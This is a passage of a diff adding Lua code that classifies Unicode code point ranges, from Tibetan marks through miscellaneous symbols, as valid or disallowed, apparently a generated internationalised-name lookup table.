+ -- TIBETAN MARK GTER YIG MGO TRUNCATED A..TIBETAN MARK BKA- SHOG YIG MGO
+ if x >= 0x0F01 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0F17 then
+ -- TIBETAN MARK SHAD..TIBETAN ASTROLOGICAL SIGN SGRA GCAN -CHAR RTAGS
+ if x >= 0x0F0D then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0F1F then
+ -- TIBETAN SIGN RDEL DKAR GCIG..TIBETAN SIGN RDEL DKAR RDEL NAG
+ if x >= 0x0F1A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0F29 then
+ -- TIBETAN DIGIT ZERO..TIBETAN DIGIT NINE
+ if x >= 0x0F20 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0F34 then
+ -- TIBETAN DIGIT HALF ONE..TIBETAN MARK BSDUS RTAGS
+ if x >= 0x0F2A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0F68 then
+ -- TIBETAN LETTER WA..TIBETAN LETTER A
+ if x >= 0x0F5D then
+ return {status="valid"}
+ end
+ elseif x <= 0x0F80 then
+ -- TIBETAN VOWEL SIGN E..TIBETAN VOWEL SIGN REVERSED I
+ if x >= 0x0F7A then
+ return {status="valid"}
+ end
+ elseif x <= 0x0F92 then
+ -- TIBETAN SIGN LCI RTAGS..TIBETAN SIGN GRU MED RGYINGS
+ -- TIBETAN SIGN INVERTED MCHU CAN..TIBETAN SUBJOINED SIGN INVERTED MCHU CAN
+ -- TIBETAN SUBJOINED LETTER KA..TIBETAN SUBJOINED LETTER GA
+ if x >= 0x0F86 then
+ return {status="valid"}
+ end
+ elseif x <= 0x0FB7 then
+ -- TIBETAN SUBJOINED LETTER ZHA..TIBETAN SUBJOINED LETTER -A
+ -- TIBETAN SUBJOINED LETTER YA..TIBETAN SUBJOINED LETTER HA
+ if x >= 0x0FAE then
+ return {status="valid"}
+ end
+ elseif x <= 0x0FC5 then
+ -- TIBETAN KU RU KHA..TIBETAN SYMBOL RDO RJE
+ if x >= 0x0FBE then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0FCC then
+ -- TIBETAN SYMBOL RDO RJE RGYA GRAM..TIBETAN SYMBOL NOR BU BZHI -KHYIL
+ if x >= 0x0FC7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0FDA then
+ -- TIBETAN MARK BSKA- SHOG GI MGO RGYAN..TIBETAN MARK MNYAM YIG GI MGO RGYAN
+ -- TIBETAN MARK NYIS TSHEG..TIBETAN MARK CLOSING BRDA RNYING YIG MGO SGAB MA
+ -- RIGHT-FACING SVASTI SIGN..LEFT-FACING SVASTI SIGN WITH DOTS
+ -- TIBETAN MARK LEADING MCHAN RTAGS..TIBETAN MARK TRAILING MCHAN RTAGS
+ if x >= 0x0FD0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x0FFF then
+ -- NA <reserved-0FDB>..<reserved-0FFF>
+ if x >= 0x0FDB then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1021 then
+ -- MYANMAR LETTER KA..MYANMAR LETTER A
+ if x >= 0x1000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1049 then
+ -- MYANMAR VOWEL SIGN AA..MYANMAR VOWEL SIGN AI
+ -- MYANMAR VOWEL SIGN MON II..MYANMAR VOWEL SIGN E ABOVE
+ -- MYANMAR SIGN ANUSVARA..MYANMAR SIGN VIRAMA
+ -- MYANMAR SIGN ASAT..MYANMAR LETTER GREAT SA
+ -- MYANMAR DIGIT ZERO..MYANMAR DIGIT NINE
+ if x >= 0x102C then
+ return {status="valid"}
+ end
+ elseif x <= 0x104F then
+ -- MYANMAR SIGN LITTLE SECTION..MYANMAR SYMBOL GENITIVE
+ if x >= 0x104A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x109D then
+ -- MYANMAR LETTER SHA..MYANMAR VOWEL SIGN VOCALIC LL
+ -- MYANMAR LETTER MON NGA..MYANMAR SHAN DIGIT NINE
+ -- MYANMAR SIGN KHAMTI TONE-1..MYANMAR VOWEL SIGN AITON AI
+ if x >= 0x1050 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10C5 then
+ -- GEORGIAN CAPITAL LETTER AN..GEORGIAN CAPITAL LETTER HOE
+ if x >= 0x10A0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x10FA then
+ -- GEORGIAN LETTER AN..GEORGIAN LETTER FI
+ -- GEORGIAN LETTER YN..GEORGIAN LETTER ELIFI
+ -- GEORGIAN LETTER TURNED GAN..GEORGIAN LETTER AIN
+ if x >= 0x10D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x115E then
+ -- HANGUL CHOSEONG KIYEOK..HANGUL CHOSEONG YEORINHIEUH
+ -- HANGUL CHOSEONG KIYEOK-TIKEUT..HANGUL CHOSEONG TIKEUT-RIEUL
+ if x >= 0x1100 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x11FF then
+ -- HANGUL JUNGSEONG A..HANGUL JUNGSEONG SSANGARAEA
+ -- HANGUL JUNGSEONG A-EU..HANGUL JUNGSEONG O-YAE
+ -- HANGUL JONGSEONG KIYEOK..HANGUL JONGSEONG YEORINHIEUH
+ -- HANGUL JONGSEONG KIYEOK-NIEUN..HANGUL JONGSEONG SSANGNIEUN
+ if x >= 0x1161 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1206 then
+ -- ETHIOPIC SYLLABLE HA..ETHIOPIC SYLLABLE HO
+ if x >= 0x1200 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1246 then
+ -- ETHIOPIC SYLLABLE LA..ETHIOPIC SYLLABLE QO
+ if x >= 0x1208 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1256 then
+ -- ETHIOPIC SYLLABLE QHA..ETHIOPIC SYLLABLE QHO
+ if x >= 0x1250 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1286 then
+ -- ETHIOPIC SYLLABLE BA..ETHIOPIC SYLLABLE XO
+ if x >= 0x1260 then
+ return {status="valid"}
+ end
+ elseif x <= 0x12AE then
+ -- ETHIOPIC SYLLABLE NA..ETHIOPIC SYLLABLE KO
+ if x >= 0x1290 then
+ return {status="valid"}
+ end
+ elseif x <= 0x12BE then
+ -- ETHIOPIC SYLLABLE KXA..ETHIOPIC SYLLABLE KXO
+ if x >= 0x12B8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x12CE then
+ -- ETHIOPIC SYLLABLE WA..ETHIOPIC SYLLABLE WO
+ if x >= 0x12C8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x12D6 then
+ -- ETHIOPIC SYLLABLE PHARYNGEAL A..ETHIOPIC SYLLABLE PHARYNGEAL O
+ if x >= 0x12D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x12EE then
+ -- ETHIOPIC SYLLABLE ZA..ETHIOPIC SYLLABLE YO
+ if x >= 0x12D8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x130E then
+ -- ETHIOPIC SYLLABLE DA..ETHIOPIC SYLLABLE GO
+ if x >= 0x12F0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x131E then
+ -- ETHIOPIC SYLLABLE GGA..ETHIOPIC SYLLABLE GGO
+ if x >= 0x1318 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1346 then
+ -- ETHIOPIC SYLLABLE THA..ETHIOPIC SYLLABLE TZO
+ if x >= 0x1320 then
+ return {status="valid"}
+ end
+ elseif x <= 0x135A then
+ -- ETHIOPIC SYLLABLE FA..ETHIOPIC SYLLABLE FYA
+ if x >= 0x1348 then
+ return {status="valid"}
+ end
+ elseif x <= 0x137C then
+ -- ETHIOPIC WORDSPACE..ETHIOPIC NUMBER TEN THOUSAND
+ if x >= 0x1361 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x138F then
+ -- ETHIOPIC SYLLABLE SEBATBEIT MWA..ETHIOPIC SYLLABLE PWE
+ if x >= 0x1380 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1399 then
+ -- ETHIOPIC TONAL MARK YIZET..ETHIOPIC TONAL MARK KURT
+ if x >= 0x1390 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x139F then
+ -- NA <reserved-139A>..<reserved-139F>
+ if x >= 0x139A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x13F4 then
+ -- CHEROKEE LETTER A..CHEROKEE LETTER YV
+ if x >= 0x13A0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x166C then
+ -- CANADIAN SYLLABICS E..CANADIAN SYLLABICS CARRIER TTSA
+ if x >= 0x1401 then
+ return {status="valid"}
+ end
+ elseif x <= 0x167F then
+ -- CANADIAN SYLLABICS QAI..CANADIAN SYLLABICS NNGAA
+ -- CANADIAN SYLLABICS WOODS-CREE THWEE..CANADIAN SYLLABICS BLACKFOOT W
+ if x >= 0x166F then
+ return {status="valid"}
+ end
+ elseif x <= 0x169A then
+ -- OGHAM LETTER BEITH..OGHAM LETTER PEITH
+ if x >= 0x1681 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16EA then
+ -- RUNIC LETTER FEHU FEOH FE F..RUNIC LETTER X
+ if x >= 0x16A0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16F0 then
+ -- RUNIC SINGLE PUNCTUATION..RUNIC BELGTHOR SYMBOL
+ if x >= 0x16EB then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x16F8 then
+ -- RUNIC LETTER K..RUNIC LETTER FRANKS CASKET AESC
+ if x >= 0x16F1 then
+ return {status="valid"}
+ end
+ elseif x <= 0x16FF then
+ -- NA <reserved-16F9>..<reserved-16FF>
+ if x >= 0x16F9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x170C then
+ -- TAGALOG LETTER A..TAGALOG LETTER YA
+ if x >= 0x1700 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1714 then
+ -- TAGALOG LETTER LA..TAGALOG SIGN VIRAMA
+ if x >= 0x170E then
+ return {status="valid"}
+ end
+ elseif x <= 0x171F then
+ -- NA <reserved-1715>..<reserved-171F>
+ if x >= 0x1715 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1734 then
+ -- HANUNOO LETTER A..HANUNOO SIGN PAMUDPOD
+ if x >= 0x1720 then
+ return {status="valid"}
+ end
+ elseif x <= 0x173F then
+ -- NA <reserved-1737>..<reserved-173F>
+ if x >= 0x1737 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1753 then
+ -- BUHID LETTER A..BUHID VOWEL SIGN U
+ if x >= 0x1740 then
+ return {status="valid"}
+ end
+ elseif x <= 0x175F then
+ -- NA <reserved-1754>..<reserved-175F>
+ if x >= 0x1754 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x176C then
+ -- TAGBANWA LETTER A..TAGBANWA LETTER YA
+ if x >= 0x1760 then
+ return {status="valid"}
+ end
+ elseif x <= 0x177F then
+ -- NA <reserved-1774>..<reserved-177F>
+ if x >= 0x1774 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x17B3 then
+ -- KHMER LETTER KA..KHMER INDEPENDENT VOWEL QAU
+ if x >= 0x1780 then
+ return {status="valid"}
+ end
+ elseif x <= 0x17D3 then
+ -- KHMER VOWEL SIGN AA..KHMER SIGN BATHAMASAT
+ if x >= 0x17B6 then
+ return {status="valid"}
+ end
+ elseif x <= 0x17E9 then
+ -- KHMER DIGIT ZERO..KHMER DIGIT NINE
+ if x >= 0x17E0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x17EF then
+ -- NA <reserved-17EA>..<reserved-17EF>
+ if x >= 0x17EA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x17F9 then
+ -- KHMER SYMBOL LEK ATTAK SON..KHMER SYMBOL LEK ATTAK PRAM-BUON
+ if x >= 0x17F0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x17FF then
+ -- NA <reserved-17FA>..<reserved-17FF>
+ if x >= 0x17FA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1805 then
+ -- MONGOLIAN BIRGA..MONGOLIAN FOUR DOTS
+ if x >= 0x1800 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1819 then
+ -- MONGOLIAN DIGIT ZERO..MONGOLIAN DIGIT NINE
+ if x >= 0x1810 then
+ return {status="valid"}
+ end
+ elseif x <= 0x181F then
+ -- NA <reserved-181A>..<reserved-181F>
+ if x >= 0x181A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1877 then
+ -- MONGOLIAN LETTER A..MONGOLIAN LETTER MANCHU ZHA
+ if x >= 0x1820 then
+ return {status="valid"}
+ end
+ elseif x <= 0x187F then
+ -- NA <reserved-1878>..<reserved-187F>
+ if x >= 0x1878 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x18A9 then
+ -- MONGOLIAN LETTER ALI GALI ANUSVARA ONE..MONGOLIAN LETTER ALI GALI DAGALGA
+ if x >= 0x1880 then
+ return {status="valid"}
+ end
+ elseif x <= 0x18F5 then
+ -- CANADIAN SYLLABICS OY..CANADIAN SYLLABICS CARRIER DENTAL S
+ if x >= 0x18B0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x18FF then
+ -- NA <reserved-18F6>..<reserved-18FF>
+ if x >= 0x18F6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x191E then
+ -- LIMBU VOWEL-CARRIER LETTER..LIMBU LETTER HA
+ -- LIMBU LETTER GYAN..LIMBU LETTER TRA
+ if x >= 0x1900 then
+ return {status="valid"}
+ end
+ elseif x <= 0x192B then
+ -- LIMBU VOWEL SIGN A..LIMBU SUBJOINED LETTER WA
+ if x >= 0x1920 then
+ return {status="valid"}
+ end
+ elseif x <= 0x193B then
+ -- LIMBU SMALL LETTER KA..LIMBU SIGN SA-I
+ if x >= 0x1930 then
+ return {status="valid"}
+ end
+ elseif x <= 0x196D then
+ -- LIMBU DIGIT ZERO..TAI LE LETTER AI
+ if x >= 0x1946 then
+ return {status="valid"}
+ end
+ elseif x <= 0x197F then
+ -- NA <reserved-1975>..<reserved-197F>
+ if x >= 0x1975 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x19AB then
+ -- NEW TAI LUE LETTER HIGH QA..NEW TAI LUE LETTER LOW XVA
+ -- NEW TAI LUE LETTER HIGH SUA..NEW TAI LUE LETTER LOW SUA
+ if x >= 0x1980 then
+ return {status="valid"}
+ end
+ elseif x <= 0x19C9 then
+ -- NEW TAI LUE VOWEL SIGN VOWEL SHORTENER..NEW TAI LUE TONE MARK-2
+ if x >= 0x19B0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x19CF then
+ -- NA <reserved-19CA>..<reserved-19CF>
+ if x >= 0x19CA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x19D9 then
+ -- NEW TAI LUE DIGIT ZERO..NEW TAI LUE DIGIT NINE
+ if x >= 0x19D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x19FF then
+ -- NEW TAI LUE SIGN LAE..NEW TAI LUE SIGN LAEV
+ -- KHMER SYMBOL PATHAMASAT..KHMER SYMBOL DAP-PRAM ROC
+ if x >= 0x19DE then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1A1B then
+ -- BUGINESE LETTER KA..BUGINESE VOWEL SIGN AE
+ if x >= 0x1A00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1A5E then
+ -- TAI THAM LETTER HIGH KA..TAI THAM CONSONANT SIGN SA
+ if x >= 0x1A20 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1A7C then
+ -- TAI THAM SIGN SAKOT..TAI THAM SIGN KHUEN-LUE KARAN
+ if x >= 0x1A60 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1A89 then
+ -- TAI THAM COMBINING CRYPTOGRAMMIC DOT..TAI THAM HORA DIGIT NINE
+ if x >= 0x1A7F then
+ return {status="valid"}
+ end
+ elseif x <= 0x1A8F then
+ -- NA <reserved-1A8A>..<reserved-1A8F>
+ if x >= 0x1A8A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1A99 then
+ -- TAI THAM THAM DIGIT ZERO..TAI THAM THAM DIGIT NINE
+ if x >= 0x1A90 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1A9F then
+ -- NA <reserved-1A9A>..<reserved-1A9F>
+ if x >= 0x1A9A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1AA6 then
+ -- TAI THAM SIGN WIANG..TAI THAM SIGN REVERSED ROTATED RANA
+ if x >= 0x1AA0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1AAD then
+ -- TAI THAM SIGN KAAN..TAI THAM SIGN CAANG
+ if x >= 0x1AA8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1ABD then
+ -- COMBINING DOUBLED CIRCUMFLEX ACCENT..COMBINING PARENTHESES BELOW
+ if x >= 0x1AB0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1AFF then
+ -- NA <reserved-1ABF>..<reserved-1AFF>
+ if x >= 0x1ABF then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1B4B then
+ -- BALINESE SIGN ULU RICEM..BALINESE LETTER ASYURA SASAK
+ if x >= 0x1B00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1B59 then
+ -- BALINESE DIGIT ZERO..BALINESE DIGIT NINE
+ if x >= 0x1B50 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1B6A then
+ -- BALINESE PANTI..BALINESE MUSICAL SYMBOL DANG GEDE
+ if x >= 0x1B5A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1B73 then
+ -- BALINESE MUSICAL SYMBOL COMBINING TEGEH..BALINESE MUSICAL SYMBOL COMBINING GONG
+ if x >= 0x1B6B then
+ return {status="valid"}
+ end
+ elseif x <= 0x1B7C then
+ -- BALINESE MUSICAL SYMBOL RIGHT-HAND OPEN DUG..BALINESE MUSICAL SYMBOL LEFT-HAND OPEN PING
+ if x >= 0x1B74 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1BF3 then
+ -- SUNDANESE SIGN PANYECEK..SUNDANESE SIGN PAMAAEH
+ -- SUNDANESE SIGN VIRAMA..SUNDANESE CONSONANT SIGN PASANGAN WA
+ -- SUNDANESE LETTER KHA..SUNDANESE DIGIT NINE
+ -- SUNDANESE AVAGRAHA..SUNDANESE LETTER FINAL M
+ -- BATAK LETTER A..BATAK PANONGONAN
+ if x >= 0x1B80 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1BFB then
+ -- NA <reserved-1BF4>..<reserved-1BFB>
+ if x >= 0x1BF4 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1C37 then
+ -- LEPCHA LETTER KA..LEPCHA SIGN NUKTA
+ if x >= 0x1C00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1C49 then
+ -- LEPCHA DIGIT ZERO..LEPCHA DIGIT NINE
+ if x >= 0x1C40 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1C7D then
+ -- LEPCHA LETTER TTA..OL CHIKI AHAD
+ if x >= 0x1C4D then
+ return {status="valid"}
+ end
+ elseif x <= 0x1CBF then
+ -- NA <reserved-1C89>..<reserved-1CBF>
+ if x >= 0x1C89 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1CC7 then
+ -- SUNDANESE PUNCTUATION BINDU SURYA..SUNDANESE PUNCTUATION BINDU BA SATANGA
+ if x >= 0x1CC0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1CCF then
+ -- NA <reserved-1CC8>..<reserved-1CCF>
+ if x >= 0x1CC8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1CF6 then
+ -- VEDIC SIGN YAJURVEDIC MIDLINE SVARITA..VEDIC SIGN ARDHAVISARGA
+ -- VEDIC SIGN ROTATED ARDHAVISARGA..VEDIC SIGN UPADHMANIYA
+ if x >= 0x1CD4 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1CFF then
+ -- NA <reserved-1CFA>..<reserved-1CFF>
+ if x >= 0x1CFA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1D2B then
+ -- LATIN LETTER SMALL CAPITAL A..CYRILLIC LETTER SMALL CAPITAL EL
+ if x >= 0x1D00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1D77 then
+ -- LATIN SMALL LETTER B WITH MIDDLE TILDE..LATIN SMALL LETTER TURNED G
+ if x >= 0x1D6C then
+ return {status="valid"}
+ end
+ elseif x <= 0x1D9A then
+ -- LATIN SMALL LETTER INSULAR G..LATIN SMALL LETTER EZH WITH RETROFLEX HOOK
+ if x >= 0x1D79 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1DF9 then
+ -- COMBINING DOTTED GRAVE ACCENT..COMBINING SUSPENSION MARK
+ -- COMBINING MACRON-ACUTE..COMBINING LATIN SMALL LETTER R BELOW
+ -- COMBINING BREVE-MACRON..COMBINING LATIN SMALL LETTER Z
+ -- COMBINING LATIN SMALL LETTER ALPHA..COMBINING UP TACK ABOVE
+ -- COMBINING KAVYKA ABOVE RIGHT..COMBINING WIDE INVERTED BRIDGE BELOW
+ if x >= 0x1DC0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1F07 then
+ -- GREEK SMALL LETTER ALPHA WITH PSILI..GREEK SMALL LETTER ALPHA WITH DASIA AND PERISPOMENI
+ if x >= 0x1F00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1F15 then
+ -- GREEK SMALL LETTER EPSILON WITH PSILI..GREEK SMALL LETTER EPSILON WITH DASIA AND OXIA
+ if x >= 0x1F10 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1F27 then
+ -- GREEK SMALL LETTER ETA WITH PSILI..GREEK SMALL LETTER ETA WITH DASIA AND PERISPOMENI
+ if x >= 0x1F20 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1F37 then
+ -- GREEK SMALL LETTER IOTA WITH PSILI..GREEK SMALL LETTER IOTA WITH DASIA AND PERISPOMENI
+ if x >= 0x1F30 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1F45 then
+ -- GREEK SMALL LETTER OMICRON WITH PSILI..GREEK SMALL LETTER OMICRON WITH DASIA AND OXIA
+ if x >= 0x1F40 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1F57 then
+ -- GREEK SMALL LETTER UPSILON WITH PSILI..GREEK SMALL LETTER UPSILON WITH DASIA AND PERISPOMENI
+ if x >= 0x1F50 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1F67 then
+ -- GREEK SMALL LETTER OMEGA WITH PSILI..GREEK SMALL LETTER OMEGA WITH DASIA AND PERISPOMENI
+ if x >= 0x1F60 then
+ return {status="valid"}
+ end
+ elseif x <= 0x200A then
+ -- EN QUAD..HAIR SPACE
+ if x >= 0x2000 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2023 then
+ -- LEFT SINGLE QUOTATION MARK..TRIANGULAR BULLET
+ if x >= 0x2018 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x202E then
+ -- LINE SEPARATOR..RIGHT-TO-LEFT OVERRIDE
+ if x >= 0x2028 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2046 then
+ -- UNDERTIE..RIGHT SQUARE BRACKET WITH QUILL
+ if x >= 0x203F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2056 then
+ -- TIRONIAN SIGN ET..BLACK RIGHTWARDS BULLET
+ -- LOW ASTERISK..COMMERCIAL MINUS SIGN
+ -- SWUNG DASH..INVERTED UNDERTIE
+ -- FLOWER PUNCTUATION MARK..THREE DOT PUNCTUATION
+ if x >= 0x204A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x205E then
+ -- FOUR DOT PUNCTUATION..VERTICAL FOUR DOTS
+ if x >= 0x2058 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x206F then
+ -- LEFT-TO-RIGHT ISOLATE..POP DIRECTIONAL ISOLATE
+ -- INHIBIT SYMMETRIC SWAPPING..NOMINAL DIGIT SHAPES
+ if x >= 0x2066 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x20A7 then
+ -- EURO-CURRENCY SIGN..PESETA SIGN
+ if x >= 0x20A0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x20B8 then
+ -- KIP SIGN..DRACHMA SIGN
+ -- GERMAN PENNY SIGN..PESO SIGN
+ -- GUARANI SIGN..CEDI SIGN
+ -- LIVRE TOURNOIS SIGN..TENGE SIGN
+ if x >= 0x20AD then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x20CF then
+ -- NA <reserved-20C0>..<reserved-20CF>
+ if x >= 0x20C0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x20EA then
+ -- COMBINING LEFT HARPOON ABOVE..COMBINING LEFT RIGHT ARROW ABOVE
+ -- COMBINING ENCLOSING SCREEN..COMBINING ENCLOSING KEYCAP
+ -- COMBINING ENCLOSING UPWARD POINTING TRIANGLE..COMBINING LEFTWARDS ARROW OVERLAY
+ if x >= 0x20D0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x20FF then
+ -- NA <reserved-20F1>..<reserved-20FF>
+ if x >= 0x20F1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x222B then
+ -- LEFTWARDS ARROW..UPWARDS WHITE ARROW FROM BAR
+ -- UPWARDS WHITE ARROW ON PEDESTAL..UP DOWN WHITE ARROW
+ -- RIGHT ARROW WITH SMALL CIRCLE..LEFT RIGHT OPEN-HEADED ARROW
+ -- FOR ALL..INTEGRAL
+ if x >= 0x2190 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x225F then
+ -- CLOCKWISE INTEGRAL..QUESTIONED EQUAL TO
+ if x >= 0x2231 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x226D then
+ -- IDENTICAL TO..NOT EQUIVALENT TO
+ if x >= 0x2261 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x22FF then
+ -- NEITHER LESS-THAN NOR EQUAL TO..DOWN RIGHT DIAGONAL ELLIPSIS
+ -- ELEMENT OF WITH LONG HORIZONTAL STROKE..Z NOTATION BAG MEMBERSHIP
+ if x >= 0x2270 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2328 then
+ -- HOUSE..KEYBOARD
+ if x >= 0x2302 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x237A then
+ -- ERASE TO THE LEFT..APL FUNCTIONAL SYMBOL ALPHA
+ if x >= 0x232B then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x23E7 then
+ -- SHOULDERED OPEN BOX..CLEAR SCREEN SYMBOL
+ -- LEFT PARENTHESIS UPPER HOOK..return {status="SYMBOL"}
+ -- EJECT SYMBOL..VERTICAL LINE EXTENSION
+ -- METRICAL BREVE..FUSE
+ -- TOP PARENTHESIS..ELECTRICAL INTERSECTION
+ if x >= 0x237D then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x23FE then
+ -- BLACK RIGHT-POINTING DOUBLE TRIANGLE..HOURGLASS WITH FLOWING SAND
+ -- BLACK MEDIUM LEFT-POINTING TRIANGLE..BLACK CIRCLE FOR RECORD
+ -- POWER SYMBOL..POWER SLEEP SYMBOL
+ if x >= 0x23E9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2426 then
+ -- SYMBOL FOR NULL..SYMBOL FOR NEWLINE
+ -- SYMBOL FOR DELETE FORM TWO..SYMBOL FOR SUBSTITUTE FORM TWO
+ if x >= 0x2400 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x243F then
+ -- NA <reserved-2427>..<reserved-243F>
+ if x >= 0x2427 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x244A then
+ -- OCR HOOK..OCR DOUBLE BACKSLASH
+ if x >= 0x2440 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x245F then
+ -- NA <reserved-244B>..<reserved-245F>
+ if x >= 0x244B then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x249B then
+ -- DIGIT ONE FULL STOP..NUMBER TWENTY FULL STOP
+ if x >= 0x2488 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x24FE then
+ -- NEGATIVE CIRCLED NUMBER ELEVEN..DOUBLE CIRCLED NUMBER TEN
+ if x >= 0x24EB then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2617 then
+ -- BOX DRAWINGS LIGHT HORIZONTAL..RIGHT ONE EIGHTH BLOCK
+ -- QUADRANT LOWER LEFT..QUADRANT UPPER RIGHT AND LOWER LEFT AND LOWER RIGHT
+ -- BLACK SQUARE..LARGE CIRCLE
+ -- WHITE SQUARE WITH UPPER LEFT QUADRANT..WHITE CIRCLE WITH UPPER RIGHT QUADRANT
+ -- UPPER LEFT TRIANGLE..LOWER RIGHT TRIANGLE
+ -- BLACK SUN WITH RAYS..SALTIRE
+ -- UMBRELLA WITH RAIN DROPS..HOT BEVERAGE
+ -- WHITE SHOGI PIECE..BLACK SHOGI PIECE
+ if x >= 0x2500 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x269C then
+ -- BLACK LEFT POINTING INDEX..MUSIC SHARP SIGN
+ -- WEST SYRIAC CROSS..EAST SYRIAC CROSS
+ -- UNIVERSAL RECYCLING SYMBOL..PARTIALLY-RECYCLED PAPER SYMBOL
+ -- PERMANENT PAPER SIGN..WHEELCHAIR SYMBOL
+ -- DIE FACE-1..BLACK CIRCLE WITH TWO WHITE DOTS
+ -- MONOGRAM FOR YANG..BLACK FLAG
+ -- HAMMER AND PICK..FLEUR-DE-LIS
+ if x >= 0x261A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x26B1 then
+ -- THREE LINES CONVERGING RIGHT..THREE LINES CONVERGING LEFT
+ -- WARNING SIGN..HIGH VOLTAGE SIGN
